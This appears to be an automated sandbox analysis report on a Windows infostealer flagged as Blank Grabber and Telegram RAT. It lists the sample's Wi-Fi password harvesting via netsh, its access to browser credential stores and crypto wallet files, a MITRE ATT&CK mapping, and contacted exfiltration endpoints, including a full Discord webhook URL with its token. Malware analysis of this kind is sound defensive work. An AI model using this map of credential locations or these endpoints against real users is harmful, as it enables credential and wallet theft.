Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match	File source: 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9g9LZNE4bH.exe PID: 5860, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2395753264.000001F12B202000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2396649299.000001F12B202000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2028897385.000001A5F3614000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2395270624.000001F12B657000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2028897385.000001A5F3616000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2400386354.000001F12B208000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9g9LZNE4bH.exe PID: 6176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9g9LZNE4bH.exe PID: 5860, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI61762\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: 9g9LZNE4bH.exe PID: 5860, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	4 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	48 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	151 Security Software Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9g9LZNE4bH.exe	46%	Virustotal		Browse
9g9LZNE4bH.exe	42%	ReversingLabs	Win64.Trojan.Dacic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI61762\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI61762\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.microsoftNAV_CO~1.JSOy.	0%	Avira URL Cloud	safe
https://api.anonfiles.com/uploadr	0%	Avira URL Cloud	safe
https://api.anonfiles.com/upload-	0%	Avira URL Cloud	safe
http://www.microsoftTASKLI~1.TXTy.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.137.232	true	false		high
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1324952562377691148/tMn5PGZkUcHw6GRus7vQh5nn9lZzv19crpx5XMfJnhrwGYXnAAQrWNBsuZgspVDvCX9c	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/BlankOBF	9g9LZNE4bH.exe, 00000002.00000003.2040645327.000001F12BC08000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2041272550.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2041841981.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.avito.ru/	9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/Blank-Grabberi	9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 0000002A.00000002.2299859889.000001C053700000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ctrip.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/Blank-Grabberr	9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2168	9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AE72000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2033778965.000001F128D5B000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.leboncoin.fr/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc2388#section-4.4	9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urlli?Z	9g9LZNE4bH.exe, 00000002.00000002.2399793593.000001F12AEF9000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2143833487.000001F12AEF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://weibo.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4A4000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/upload	9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.msn.com	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4FC000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2137521294.000001F12BAA0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/upload-	9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.2222117000.000001B991E34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2291396544.000001C04B3F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2242595273.000001C03CCF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0205/	9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AD71000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2045682909.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2039094220.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2034507305.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2039896185.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399381962.000001F12AC00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048564293.000001F12AD6C000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
http://www.microsoftNAV_CO~1.JSOy.	9g9LZNE4bH.exe, 00000002.00000003.2397711771.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2397324147.000001F12B4EF000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2397218402.000001F12B4E8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2402488296.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.reddit.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/3020	9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AE72000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.2190941611.000001B981DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2242595273.000001C03B381000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.ca/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	9g9LZNE4bH.exe, 00000002.00000002.2399793593.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2143833487.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A6F8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ebay.co.uk/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000002A.00000002.2242595273.000001C03B5AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.2190941611.000001B981FE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ebay.de/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000002A.00000002.2242595273.000001C03B5AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399154194.000001F12A900000.00000004.00001000.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000002A.00000002.2242595273.000001C03C25C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2033778965.000001F128D5B000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2032706611.000001F128D69000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/	9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/p	9g9LZNE4bH.exe, 00000002.00000002.2401507128.000001F12B317000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/	9g9LZNE4bH.exe, 00000002.00000002.2400159195.000001F12B157000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
